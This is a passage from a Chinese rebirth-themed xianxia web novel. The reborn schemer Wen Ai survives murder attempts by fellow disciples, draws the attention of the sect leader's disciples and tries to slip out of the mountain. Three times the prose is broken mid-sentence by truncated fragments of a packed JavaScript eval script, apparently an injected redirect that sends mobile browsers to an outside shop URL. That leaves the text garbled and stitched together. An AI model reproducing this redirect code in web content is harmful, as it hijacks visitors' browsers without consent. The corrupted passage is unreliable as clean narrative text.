温艾端来一枝油灯,借着暗黄烛辉仔细看了看,凭她前世在害人一事上积累的丰厚经验,便是如此诘曲聱牙的内容,她竟也认了出来,这是湘西苗寨的咒文。 大概,是咒阿伞去死一类的话。 温艾看完不禁皱了皱眉,好了,现在阿伞已经死了。 下咒的人如愿了。 她嫌这张咒纸晦气,想蹭油灯最后一抹微弱的火苗烧了,结果这咒纸似乎有法力加持,居然烧不掉。她用手指揉了揉发皱的咒纸,皱眉忖了一会,随便扔在了枕头下。 不管这咒纸还有什么作用没有发挥,又不会发挥在她温艾身上。 死道友不死贫道。 温艾美美地躺下了。 眼皮困倦合上前,她心下才突如其来地涌上一丝不对劲。 湘西苗寨的毒咒,只需拿到对方的生辰八字与一根头发丝就行,没有距离限制啊。下咒之人把咒纸放在阿伞的屋子里做什么呢? 温艾睡过去之前迷迷糊糊地想着,能进出阿伞的屋子的,估计是与阿伞过从亲密之人。 想不到阿伞这小姑娘,居然也是有朋友的啊。 看来朋友还是不能乱交啊。做不到两肋插刀,但可以□□两刀。 悠悠感慨完,温艾把一床破棉絮被子拉过头顶,遮蔽乍暖还寒的春夜雾气,没心没肺地睡了过去。 * 由于温艾注重美容养颜,对于睡眠时间有精准的把控。 这一晚上她熬了夜,身体居然主动调节,让她睡到日上三竿才起。 于是乎,她成功错过了翌日的晨练。 长荼仙山风气说行也行,弟子上山修道是不收束脩的。说不行也不行,弟子若是修不出个什么名堂,比如说像阿伞这种辟谷都迟迟不成的,打发一个破茅草屋自生自灭去吧。 饿了,要吃饭是吧? 没事,交伙食费就行。 大部分弟子都是小门小户出来的,虽然没办法挥金如土,不至于吃不起饭。 但穷困潦倒如阿伞这样吃饭都需要发愁的,属实少见。 在漫长的修行时间里,阿伞靠什么活下来的,至今对温艾来说还是个未解之谜。 鬼上身阿伞以后,温艾为吃一顿饱饭颇费过一点心机。 她知道负责外山弟子晨练的胖师姐是南宫家的旁系,而南宫家在仙山最大的倚仗是绍宋的大徒弟——南宫福。她便模仿南宫福的字迹写了一封信,让胖师姐每日定点扶贫,从零食里匀一口给她。 胖师姐的零食从佛跳墙到红烧大肘子,从燕窝到烤乳猪,香甜肥腻应有尽有,就阿伞的小身板她靠这一口能顶好几个时辰。 错过晨练,胖师姐就回内山了。 到嘴的早饭飞了,温艾饿得头晕眼花起来,先灌了几大口冰冷的山泉水,沿着苔痕发霉的后墙跟往深山里走去,想看看二月时节后山有没有什么笋吃。 没走多久,温艾蓦然顿住脚步,仿佛看见了什么,她面向一汪绿油油的潭水探下身。 平静的水面上黄叶飘动,她打量自己姿色稀疏的眉目,仿佛沾沾自喜。 浑然不觉身后一双黑手正迅速推向她后背。 温艾闪身一躲,“噗通”一声,下黑手的贱人掉进了早春寒冷彻骨、深不可测的潭水里。 这一下让躲在竹林里的另外一个凶手甚是意外。 水里的男人大喊:“救,救命……” 林子里蒙面的胖女人挣扎了一盏茶的功夫,见水里的男人渐渐没下水面不动了,终于克服良心的谴责,手持一把寒光刺眼的匕首,佯装镇定地走出,眉眼战栗看向温艾。 温艾这人有一个毛病,有什么难听的话,打小不知道要藏着掖着,时常能把人气得七窍生烟,她眼下就没轻没重地开了口:“大姐,就你这有贼心没贼胆的窝囊样,还想杀我?” 见胖女人脸色越发难看,她嗤笑一声,“我数到三,让你跑。” 胖女人脸色一白,哆嗦道:“你不是姜伞,你究竟是谁?” 温艾一怔,随即反应过来,这一男一女大清早的跟到深山竹林里谋杀阿伞小姑娘,必也是对阿伞为人习性有一定了解的。 对阿伞有基本了解,还不足以让这胖女人如此言之凿凿,大胆判断。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408828|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那么。 温艾嘴角一勾,眼角阴郁垂下,从竹林聚拢水潭敛光的背阴面看向胖女人,阴恻恻地反问:“我不是被你们杀死的阿伞?” “那你说,我是谁啊?” 说完,温艾一个百米冲刺跑过来,嘴里不住发出一阵尖刺笑声,惊散天空上的雪霖鸟。 胖女人吓得掉头就跑,“啊啊啊!” 温艾追着跑了一路,累得够呛,扶腰停下,看着胖女人落荒而逃的背影忽然觉得有点眼熟。 诶,这不是负责给她投食的南宫家的胖师姐吗? 南宫月半明明下咒杀了阿伞,却又一直硬着头皮给她温艾投食了半个月,这期间想必吓得寝食不安,日夜难眠。 于是乎,便伙同另一个男修……今日再度来向阿伞下杀手了? 温艾大概拼凑了一下事情全貌,身经百战、作恶多端的她,属实看不上这种小打小闹,不过她还有一个问题,长荼仙山乃清心寡欲的修道之所,又不会平白无故冒出几个恶人。 何况阿伞为人孤僻内向,与世无争,究竟怎么把人逼急了,让人家对她下咒杀她的? 啧啧,看来阿伞小姑娘也有一个不为人知的小秘密呀。 温艾感慨完就沿山路往上走,继续拔她的笋吃去。 雨后黄土泥泞,她踩着一双沾满泥土的沉重布鞋,一边慢吞吞地走,一边拨开一簇翠绿的竹子寻寻觅觅。 俨然把被谋杀的事忘到了脚后跟。 按理说,她占了人家的身子,该给人家报仇雪恨、让人家九泉之下魂魄得以安息对吧。 但她偏不。 温艾有一套自己的歪理——这天道不是都给众生一一规定了吗,好人有好报,恶人有恶报。温艾嚼着一根嫩脆的山笋,心内暗道:“阿伞小姑娘啊,你的身子被我占了,说明我就是你的恶报。” “你自个做过什么自个心里清楚就行,别半夜来找我托梦,企图我给你报仇。” “万一搅得我睡不了美颜觉,休怪我不客气,连夜做法超度了你。” 温艾吃饱喝足就开始思考怎么跑路下山,今天日出东山万象温煦,竹林小径幽深处,淡黄的阳光与微凉的清风拂过大地,一地金光镶边、深深浅浅的婆娑影子,倒是一个适合出远门的日子。 要不就这么走吧。 但屋里头还有三枚铜板没拿呢。 温艾一想起钱,就立马清醒了,不行,还是得回去一趟。 那可是三枚铜板呢。说不定在山下都够吃上一顿小笼包了。 温艾沿山路往弟子宿舍走,走到竹林尽头的岔路口,忽见一排茅草屋的边上,有一间牵牛花篱笆围了一圈的精舍小院出现在她眼皮子底下,小院菜畦绿油油的,花架上盆栽里的草莓又大又鲜红。 温艾驻足欣赏,心内感叹:善哉善哉,不知是哪位道友,如此有生活情趣。 欣赏着欣赏着,她就绕道走近了小院的门。 小院门扉半遮半掩,蓬门径扫,似等缘客来。 温艾摸了摸一肚子清汤寡水撑起来的肚皮,从善如流地推门而入,走近花架旁蹲下,摘下一枚草莓吃了起来。 这草莓香气浓郁,又大又甜,还带着冰凉的露水。 真好吃,嘻嘻。 温艾甚至想摘一点去山下卖,做干粮也行,她正欲付诸行动之际,门板嘎吱一声,一个身后负墨玉弓的蓝袍青年走了进来。 4. 第 4 章 - 相见无言。 温艾若无其事抬手,抹净嘴角一点玫红果汁,与青年两两对视,一时间也没主动搭话。 她占了前世的便宜,对面之人不识她,她却是一眼就把他认了出来。 这青年一身圆领淡蓝大袖袍衫,腰束白玉带,长袖如鹤翅迎着晨风长摆,头戴枝枝桠桠、端头圆润的鹿角水玉冠,披肩墨黑半发,面相皙白温静,身形清癯高挑,一股书香世家培养出来的书卷气。 是绍宋的二徒弟,梁巽泽。 梁巽泽年轻有为,肩挑大梁,平日被绍宋当成牛马使唤,不大出现在闲人众多的外山。 也就是说,这一间充满山水归隐情趣的精舍小院,不可能是他的。 不是他的。 那不就是我的咯? 温艾底气十足,盯着梁巽泽愣怔的脸,顺手又从盆栽里薅了一枚草莓,边嚼边问:“阁下不请自来,这是何意?” 梁巽泽回过神来,唇角噙笑,温声解释:“在下若青堂二弟子梁巽泽,奉师命路过外山查案,不知可否借师妹宝地处理一个凶犯?” 温艾仿佛大惊失色,抹抹嘴边草莓汁,立即狗腿子上前笑道:“原来是白鹿神君大驾光临啊。” 这一凑近,她借着仲春清晨日光,看清了梁巽泽一双浓长眼睫下,镀着柔柔暖辉的眸子。 该说不说,梁巽泽这张脸生得可真是赏心悦目啊,乌发如细腻的绸缎分覆肩后,面若冠玉,长眉秀目,郎艳独绝。 看得温艾目光一亮,笑容多了几分真情实感,“神君既要借地方查案,便慢慢来,我先不打扰了。” 她忙得很。 还要回屋去拿铜板呢。 梁巽泽点点头,面不改色看温艾一路走到门口,忽然温声问道:“不知师妹怎么称呼?” 温艾背手推门头也不回,“旁人都叫我阿伞。” 这一问一答明面上客气往来,挑不出一丝错,温艾心内却一瞬间绷紧了,警铃嗡嗡大作。 就她前世对绍宋几个心腹的了解,绍宋座下这位二徒弟白鹿神君梁巽泽,相当不好对付。 梁巽泽看似低调沉稳、谦逊淡泊,真宛如一匹自甘放逐青崖底下的白鹿,却实在是绍宋三个徒弟里最深不可测的,看不穿的。 别说她温艾以小人之心度君子之腹,她一直觉得梁巽泽城府深沉,估计也是权欲之心最炽的。 一句话总结,梁巽泽是个隐藏极深的势利眼,不会没事打听一个平平无奇小弟子的姓名。 除非,他盯上她了。 然而她一没有作奸犯科,二没有通天背景,对梁巽泽来说纯纯路人一个,他为什么会盯上她呢? 温艾心上盘旋着一丝不祥的预感,顶着一头雾水踏出门槛,迎面却见春日白色草蝶翩翩的路边,一个隐约几分眼熟的男修,正如一只被五花大绑要被宰了吃了的落汤鸡,可怜兮兮地蹲在那里,不堪受辱地接受过路人的围观。 那男修面向小院门扉,因此温艾一走出,就与他打了个照面。 猛然间,男修瞪大眼珠子盯住她,咬紧绳索发出一阵“呜呜呜!” 温艾福至心灵,豁然开朗。 原来如此。 梁巽泽盯上的不是她温艾。 是阿伞小姑娘啊。 * “阿伞姑娘停在这里,可是认得这一名凶犯?”听见梁巽泽从身后走来踩在青草地上沙沙的脚步声,语调温和地发问,温艾心下暗道:果然。 估计梁巽泽刚才也在竹林里,正巧目睹了她与南宫月半、落汤鸡男之间的凶杀案。 然后,可能是出于大师兄南宫福的裙带关系,让他对阿伞起了特别的关心? 想来敲打敲打她,让她别把南宫月半供出去? 怎样都好说。 反正不是找她温艾麻烦就行。 温艾眼皮一垂,恹恹道:“见过,不算认识。” 梁巽泽沿路走来,随手布下一层淡蓝色的结界。 他一把好嗓子宛如潺潺流水淌过山石,温淡平和,仿佛不带一丝攻击力,却见血封喉:“明人不说暗话,何况你我师兄妹乃是同门。方才在山上我看见阿伞姑娘与南宫师妹之间起了冲突。”顿了顿,他才说完:“他们二人,似是想谋害你?” 温艾很识时务:“南宫师姐温良大方,怎会与我有冲突。” 梁巽泽没有脾气一般,自嘲道:“阿伞姑娘是在说我患有眼疾?” 温艾心里暗骂:“老娘都说了不会供出南宫月半了,你还试探,烦不烦。” 她面上越发没精打采,看着似一棵常年营养不足蔫儿吧唧的野草,有股淡淡的死感。 “神君,这是我与南宫师姐一点小小的争风吃醋,上不得台面,不敢说给师兄听。不过,我也看清了男人心海底针,以后定会戒骄戒躁,不会再随便大打出手了。” 一番话既避重就轻,将仇杀轻描淡写成感情用事。 也暗指只是弟子之间鸡毛蒜皮的小事,不值得梁巽泽浪费时间。 在云萤台叱咤风云十年,与若青堂、长老院皆能打得有来有回,温艾撒一点无伤大雅的小谎,应付应付,实在是手到拈来。 若是寻常情况,梁巽泽定不会再追问下去。 不料。 梁巽泽眼神温和地看了温艾一眼,那眼神掺杂着莫名的情绪,似乎……在同情她? 他下一句话坐实了温艾的猜测。 “阿伞姑娘,他人欲杀你,你却只认为是争风吃醋。你难道没有一丝血性,不会愤怒吗?” 温艾暗地里大翻白眼:没有,滚,我很忙,不要和我东扯西扯。再说谁要你廉价的同情了? 也不知梁巽泽今日是犯了什么病。 下一刻,他就在温艾一双死鱼眼般没什么光亮的黑瞳前,证明了他的同情并不廉价。 白鹿神君张臂拉弓,浮光掠影化为他弓上一支冰芒刺眼的流光箭矢,他大手一松,嗖的一声,坐在地上的落汤鸡男应声倒地,眉心血流如注,死得太快,眼皮都没来得及合上。 * 温艾看着落汤鸡男死不瞑目的惨样,浑身一震,对梁巽泽肃然起敬。 别笑她一副贪生怕死、见风使舵的小人嘴脸。 她曾经执掌长荼夫人权柄,对仙山生态的清浊程度远比底层清楚,长荼从来不是什么主张天下大同、人人平等的桃花源,内山弟子普遍出身玄道门阀世族,就是命贵,就是有恃无恐,就是比外山弟子高一个头。 这落汤鸡男死就死了。 绝对不会有人为他喊冤,质疑梁巽泽滥用私刑。 果不其然。 梁巽泽毕竟是在大庭广众之下杀了一个弟子,血溅当场。很快便有路人顿足远望,聚在一起议论。 温艾身心俱麻,嘈杂议论钻进她耳里。 “当众处决,这……这是犯了什么宗规了?” “好吓人。” “你们看,那是山主座下的二弟子白鹿神君吧。天哪,今日一见果真名不虚传,当真是风仪若神,轩轩如朝霞举啊。” “神君助山主日理万机,还要执掌微木弓为仙山除恶,真是辛苦了。” 温艾听得一阵不耐烦,这才发现从前那些自诩清流正派的长老院为什么会如此厌烦她及她的党羽。 人一旦狗腿子起来,贱样是挡不住的。 她微微收敛心神,仿佛难掩震愕地盯着梁巽泽,梁巽泽眼珠漆黑,含着晨辉温暖的光泽,莫名看得人心里一缩,他温声向她道:“至于南宫家那位,我会让她给你一个交待。” 温艾这回当真心内一抖,几乎当场跪了。 南宫月半不同于落汤鸡男,她出身三千仙府之一,就已够让梁巽泽三思而行了。更何况她还与梁巽泽的大师兄南宫福是一个家门出来的。 梁巽泽若不是疯了,绝对不会为维护自己,与南宫月半过不去。 温艾后脑勺突突地狂跳,认真思考了一阵,还是搞不懂梁巽泽这是何意? 被她唬住,相信她编织的那一套情杀的故事了? 就算他信了,也不至于为她做到如此地步啊。 为什么? 三个字卡在喉咙口,温艾死活问不出。 正当两人尴尬对视,温艾恨不得拔足而逃时,她肚子爆发出一阵雷鸣。 梁巽泽一怔,温声道:“阿伞姑娘饿了?要不我请你吃饭。” 温艾本意是想拒绝的,架 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408829|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住人饿的时候,饭张力拉满。 眼瞅着梁巽泽已经盯上她了,她破罐子破摔,索性道:“这个点去膳堂也不知还有没有饭……神君不如带我去山下吃?” 梁巽泽微微笑,竟点了点头。 一时间,温艾彻底不会了。 私自离开仙山是违反禁条的,梁巽泽就不怕绍宋不满吗。他葫芦里究竟卖的什么药。 但若能就此离开长荼仙山……上了贼船也值得一试!那三枚铜板……算了,那三枚铜板不要也罢! 温艾咬咬牙做出决定,正要与梁巽泽离开,却见梁巽泽腰间价值千金的墨玉令牌一闪,脚步一顿,歉疚地看她一眼。 温艾不用他解释都知道怎么了。可真是天公不作美,关键时刻,绍宋那个老狗来坏事了。 梁巽泽:“师尊有令,命我速速回山。” 温艾点点头,没作多余纠缠。 没成想反而令梁巽泽纠缠上她了,他又一刻不停地邀约:“阿伞姑娘,改日我再请你吃饭,可好?” 温艾面无表情:“改日我都要饿死了,神君若腾不出手,给我饭钱也是一样的。” 甚至更好,她一个人吃饭吃得更爽。 梁巽泽微微一怔,脸上浮现懊恼之色,像是自责于没有为她提前想到这码事。 他从空间戒里取出一只钱袋子,有些抱歉道:“出门仓促,没带多少。阿伞姑娘先拿着用。” 温艾接过,手心握着一袋子沉甸甸的钱,顿觉心头一跳,回来了,安全感回来了。她看向梁巽泽的眼神肉眼可辩地友好许多,给钱就是大爷,何况这位大爷长相出众,朗润如玉,翩翩多姿。她堆出一个笑,“二师兄。” 梁巽泽步子一顿,略微有些紧张地看着她,也不知他紧张个什么劲儿。 温艾笑容一敛,吐出余下两个字,“慢走。” 梁巽泽愣怔了一会,而后笑笑,抬步走了。 等四下旷宇清澈,人迹散去,来收拾尸体的外门弟子走上前来,温艾才回过神来,一脸晦气地往膳堂走去。 这个点不早不晚,四下无人。 膳堂果然没开门。 温艾蹲在紧闭的门板前随风飘扬的一片蓝色门帘下,怕被晒黑,将摘花的细白手指缩了回来,托腮看着一片日光下晒得蔫儿吧唧的六瓣小白花,出了一会神。 昨天,她和温因铃共感的时候,那只死猫说了什么来着? ——“《诛鬼》小说主角团里的梁巽泽是一个极其注重贞洁观念的人。” ——“双人初夜是攻略他的必要条件。” 温艾缓缓捂住双眼。 在大白天下,不合时宜地,想起了一些不堪回首的往事。 上辈子她有一段时间嫌绍宋占着茅坑不拉屎,浪费她这个风情万种大美人的宝贵青春,害她成亲数年还是个雏,曾心血来潮勾引过几个俊俏的弟子。 但她对读书人不感兴趣,也从没想过动用师母的权力“重用”一下梁巽泽。 因而。 温艾上一辈子对梁巽泽最深的印象,不过就是梁巽泽的发质特别好,乌黑细腻,光可鉴人,宛如一匹上好的香云纱。她甚至好几次驻足远望欣赏,忍不住想问他们梁家人是怎么护发的。 除此以外,她和梁巽泽之间应该是没有一丝一毫的瓜葛的。 但是。 凡事总有一个但是。 那一段时间她夜夜饮酒极宴,生活糜.烂,神智不清,很多记忆都是断片的。只记得有一次醒来,在地灯已油尽灯枯的广烛台前,她似乎看见过梁巽泽系带离去的背影。 青年一头乌黑长发披覆肩后,迎风荡荡,脚步仓促,透着一股莫名纯真的兵荒马乱。 隔世已远,温艾心下一个咯噔。 难不成,是她上辈子睡了梁巽泽,把人家初夜夺走了,所以无意中把梁巽泽攻略了? 温艾对梁巽泽的爱恨、死活毫不关心。 她只是看着远处山川渺渺,绿水汤汤,胜春晴日,花明水暖。猛然打了一个冷颤。 大事不妙。 前世她种出的恶果,阴魂不散地追上来了。 梁巽泽今天对她大献殷勤。 估计是认出她了。 5. 第 5 章 - 温艾魂不守舍地蹲了半日,连膳堂门已经开了都浑然不觉。直到路上渐渐身影密集,人流纷纭,年轻的弟子们三五成群向膳堂门口走来。喧嚣笑语传进耳中,温艾终于惊醒过来。 这还等什么? 此时不跑,更待何时? 温艾穿过川流不息的人群,拐进一条花草蓊郁的偏僻山路,离背后仙山膳堂与弟子宿舍为中心发射的建筑群渐渐远了,深林阴绿寂静,浓荫匝地,鸟鸣空山,她一路走来脸色煞白,汗出如雨,不住扶着一把瘦若麻杆的细腰低声暗骂:“这阿伞是进山修什么来了?修为修为不行,身体身体拉胯。” 有些人看似不学无术、纨绔草包,实则暗地里比谁都卷。 ——譬如上一世的温艾。 有些人则看似老实本分、勤勤恳恳,却是虚掷光阴,一事无成。 ——譬如这位阿伞小姑娘。 想到这一点,温艾心下着实捏了一把汗:长荼仙山布有结界,历来严进严出,好似坐牢。外山就算宽松一点,弟子们私建了好几座地位类比狗洞的“小山门”,偷溜出去也免不得要穿过结界。 想躲过监视,就需要把小山门附近结界上方的几只雪霖鸟射下来。 靠阿伞的灵力,也不知道能不能做到。 正暗骂着,耳边突然响起一声女人的尖叫。 温艾蹙眉看去,只见林子后,一个雄壮似泰山的胖女人煞白着脸收回看向自己一眼的视线,而后拔足狂奔,中途似被一根藤蔓绊倒,胖女人一骨碌滚下山坡,不见踪影。 温艾:“……这叫什么?想瞌睡就有人递枕头,来得正好。” 透过从枝叶筛下来而不住晃动的日光,温艾拨开密密匝匝缠绕在树枝上的菟丝花,一脸慈和地俯身看去,伸出干瘪的手,狠狠拍了拍南宫月半的肉脸。 南宫月半迷瞪着一双眼,就见带笑的阿伞正居高临下盯着自己,手指又细又长,白得发青,犹如鬼爪,对自己又捏又揉,霎时吓得喉咙里蹿出一声嘹亮的尖叫,叫到一半突然劈叉,“——你、你怎么在这里?” 温艾:“和你一样。” 南宫月半:“什么……和我一样?” 温艾慢悠悠道:“逃难。” 南宫月半半信半疑地盯着温艾,半晌,方将扶着树干费劲地爬起来。 温艾不大耐烦:“你盯着我干什么?要说什么,说啊。” 南宫月半一脸惊魂不定,舌头打结似地磕磕绊绊地问:“你、你不是勾搭上白鹿神君了吗?” 温艾眼眸一眯,不语。 南宫月半的脸上渐渐浮现希望的曙光,眼底也浮现一丝狠戾,“难道不是?” 温艾冷冷的话,犹如一记掌掴扇没了南宫月半所有的神采,“谁说不是。” 老实说,温艾即便知道需要借助梁巽泽狐假虎威,震住面前这个心怀叵测的小胖子,她也不想和梁巽泽扯上一丁点关系。 她不过前世占了梁巽泽27%的好感度,她那个刚跻身化神、还驯有一只神兽的姐姐就已经歇斯底里了。 要是因为她主动和梁巽泽投怀送抱,让梁巽泽有了变化,对她姐姐的好感度一路降低,她姐姐势必会觉察到她还活着。 温因铃会做出什么丧心病狂的事,挖坟、鞭尸、满世界抓她…… 不行,想想就害怕。 绝对不能和梁巽泽再有来往了。 性命攸关,温艾在拿捏与梁巽泽的边界感上非常严谨,不允许自己一丝一毫的逾越。也不允许南宫月半传错意思。 她拍了拍南宫月半的肉饼脸,压低声音冷冷警告道:“不过你用词注意一点,不是我勾搭,是他倒贴。” “我对他,一点儿世俗的欲.望都没有。” 南宫月半成功被温艾的威武霸气震住了。 午后群山寂静,浓云蔽日,山林上方漫下一场白雾。短小的雪霖鸟掠过绵绵不绝的雾气,呈现一道优美的流线型冲出时,天空骤然暗了。 温艾叹一口气。 心内暗自疑惑:为什么世事总是事与愿违。她重生后明明非常珍惜生命,非常想做一个平平无奇的路人,老天奶却总让她弄脏双手。 在温艾沉默时,南宫月半颤巍巍走来,偷睨温艾一眼,仿佛已经断定阿伞的身子里住着一个陌生女人的魂魄。而这个女人与梁巽泽有旧交,是自己得罪不起的。 这个女人为了逃避梁巽泽,居然不惜离开长荼仙山。 她究竟是谁呢? 温艾避开视线接触,顾自走进山路深处的白雾中,对身后的小胖子低声催促:“跟上来,你不是也想跑路吗?” 南宫月半连忙跟上。 俩人一路走到一块破烂木牌前,此地黄叶堆积,亭中水潭淤泥发黑,与春花烂漫处处鸟啼的仙山景色,有显著不同。 这就是外山弟子私自破开的结界通道,人称“小山门”。 温艾一走近,天上的雪霖鸟像闻到鱼腥味的猫,俯身向她冲来。 雪霖鸟是一种逮着灵力集体吞吃的工作鸟,被长荼仙山上层当成监控用。 温艾眼疾手快捉住一只,鸟身的灵力冻伤她的手掌,她手指迅速肿胀,浮现暗红青紫的斑纹,在手指头完全麻木僵硬之前,她将雪霖鸟塞到南宫月半面前。 厉声喝令,“杀了!” “快!” 南宫月半因山间朦胧的雾气与雪霖鸟的寒气而发冷,愣怔过后只见白雾后的少女眉目阴冷恣睢,透着一股我行我素、无人不从的霸气感,原本阿伞那洒了几粒雀斑的普通脸蛋,都显得令人不容忽视起来。 雪霖鸟几乎被怼到自己胸前。 冻彻骨髓的感觉太难受了。 南宫月半手中幻化出一把匕首,在温艾森冷的目光下她居然莫名有一股压力,牙一咬,抬手狠狠刺穿了雪霖鸟。 下一刻,铺天盖地的雪汽雾凇向南宫月半涌来。 雪霖鸟是群居性的妖兽,死了一只,所有鸟都疯了,拼命攻击南宫月半。 南宫月半被打得措手不及,大声呼救:“帮我……” 然而空山雾冷,结界前哪里还有人影。 * “人不为己天诛地灭,我这为保护自己用一下别人,属于合情合理吧。不算很严重的作恶吧?” 温艾还是有点怵因果报应的。 前世她刻薄寡恩不做人,才会被手下出卖,第一个惨死于绍宋之手。为不重蹈覆辙,她已经习惯低欲望的躺平生活了。主打一个该吃吃该喝喝,啥事不往心里搁,只明哲保身不主动害人。 这一次重出江湖,心里竟有些忐忑。 所以穿过小山门前,她才会回头看了一眼。 那一眼,她的余光竟不是先注意到那一道御剑从天而降,落在南宫月半前的灰青身影。 而是路旁歇脚亭里,那面堆满淤泥的水潭。那水潭上方,竟莫名冒着一缕幽幽的紫光? 绀紫光辉似一缕薄纱飘过茫茫白雾,滟滟生辉,却又透着一股生死何忧的渺茫。 水潭深处不知有怎样一个宝物。 关键时刻温艾思绪一滞,就是这一个眨眼的功夫,小山门彻底关闭了。 温艾:“……草。” “财色误我。” “从此以后,戒色。” 宛如一个从天而降的救世主的灰青身影“唰唰——”使出几道凌厉剑光。 他三下五除二解决完南宫月半面前撕咬不休的雪霖鸟,收剑回身时,缓缓掉头看向已半只脚踏出小山门的温艾。 有几分困惑地问道:“阿伞姑娘,你这是在做什么?” * 温艾一个机灵回过神来,心下一个机灵,不由自主地盯着灰青袍子的男人看。 这男人浓眉大眼面容敦厚,身高八尺,自也是仪表堂堂。只是也给人一种老实本分的感觉。 正是绍宋座下大徒弟,福剑传人南宫服。 温艾认识南宫服,这很正常。 但问题是,南宫服认识阿伞? 温艾脑子转了一圈,很快反应过来—— 在她过往对绍宋三位徒弟的调查里,她对他的大徒弟,南宫服,最深刻的印象就是……傻。 傻阿福无疑是绍宋座下最任劳任怨、忠心耿耿的一个孩子。 他不及梁巽泽心若八瓣,乖巧玲珑。 也不若江狩叛逆阴郁,桀骜不驯。 没有野心,甚至也没什么上进心,所以脏活累活一般全都交给他。 三千仙府,少年英才如过江之鲫。 金陵梁家位居各大仙府前列。而颍州南宫家不过中流,地位不尴不尬,远不及梁家出类拔萃。 这样平庸的南宫服,却是少年惊才风逸、世人艳羡夸誉的白鹿神君的大师兄。 在外人看来,他势必背负着很大压力。 实则却不然。 前世,温艾为谋杀绍宋,抢夺长荼仙山山主之位,曾经从各方面努力瓦解绍宋的羽翼。 她也试图腐蚀过南宫服,想尽了一切办法,激将、离间、利诱……甚至亲身色诱,却都一一失败了。 南宫服是一块不开窍的山中顽石。 俗话说傻人有傻福。 傻叉没有。 他就属于后一类人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408830|200632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温艾暗自猜测南宫服应当是救济过阿伞,给阿伞送过饭,所以两人相识。 她此前打着南宫服的名号蹭吃蹭喝,不成想居然误打误撞圆回来了。 啧啧,这只小蝙蝠还真是心地善良啊。 温艾眉眼一弯,犹似欣赏着自己未来的饭碗,好声好气地应道:“散步。” 南宫服闻言一怔,不解地问:“两位师妹散步,为什么不挑大路走,却往深山野林子来。” 一旁的南宫月半顶着一张姹紫嫣红、鼻青脸肿的冻伤脸,忽而颤巍巍跪下,对南宫服一阵杀猪般的哀嚎,“表舅,救命!” 温艾心内哦豁一声,事不关己一般漠然想到,凡事有一有二就有三。南宫月半这是要第三次对阿伞下毒手了? 南宫服按住剑柄,略微诧异地看向自己表侄女问道:“怎么了?” 他似乎以为附近还有妖兽,一副警惕心十足的模样,然而只见南宫月半突然怨毒地看温艾一眼,含泪超大声控诉:“表舅不要信她刚才说的鬼话,是她把我骗到这林子里,意欲杀了我!” 南宫服吃惊之下一阵沉默,抬眸看向温艾,似在等温艾的辩解。 温艾却背扣双手,摩挲着一根根冻伤发痒的手指头,灯笼袖两条竹青色的绑带在黯淡斜晖里逆风飞扬,瘦削单薄的身影被衬托得越发渺小。 南宫月半声嘶力竭:“表舅,你快除了她啊!” 南宫服瞧着温艾弱不禁风的身板,忍不住皱眉,“阿伞姑娘尚未筑基,修为薄弱,又肩不能扛手不能提的,如何暗杀你?” 南宫月半一愣。 就连温艾也一怔,这,南宫服是有点偏心眼子了吧。 南宫月半不敢置信,破防大吼:“表舅,她会下咒!她湘西苗寨来的,你忘了吗!” 南宫服眉头深锁,只问:“你声音那么大干什么?” 似是被南宫月半吵得受不了,南宫服不由走远了一点,走着走着,却离温艾近了一些。他眉宇轩然,似一个心怀光明的判官,对南宫月半的话剥茧抽丝,“你说阿伞下咒杀你,咒纸在何处?你方才又说她诱你过来利用雪霖鸟杀你,但她亦被雪霖鸟所伤。她若是与你无冤无仇,怎么会甘心以身涉险,命都不要了也要除掉你?” 南宫月半一噎,大饼脸上肉眼可见的破防窒息。 温艾愣怔过后,心下顿时乐了。 她和月半师姐师是狗咬狗,扯不清。当然月半师姐几次三番想杀她,月半师姐承受主要火力那也是罪有应得。 只是她可没有想到,自己这个一直以来锋芒毕露罪行累累、被当成头号恶人翻来覆去审判的倒霉蛋,还能有看别的倒霉蛋被审判的这一天,不由几分幸灾乐祸。 却听南宫服语气一转,又尖锐问:“你说她想杀了你,她为什么想杀了你?” 南宫月半迟疑了一瞬,“因为……” 温艾才乐了几秒,暗道:不好! 若让小蝙蝠知道她是因为南宫月半有谋杀她的过节而私自下山,定会让奉公守法的小蝙蝠大吃一惊,继而把她们两个扭送去长老院。她以后就别想逃之夭夭了! 在南宫月半破罐子破摔前,温艾抢先一步开了口:“大师兄,师姐和我之间有一些误会,她在气头上,你别听她的!” 南宫服看向温艾,沉默几息,突然忍不住般道:“今日,二师弟向师尊禀报时,我无意中听了一句。阿伞姑娘,不知此事是否当真,你、你与我表侄女喜欢上了同一个男人?” 温艾:“啊……对。” 不是,这是重点吗。 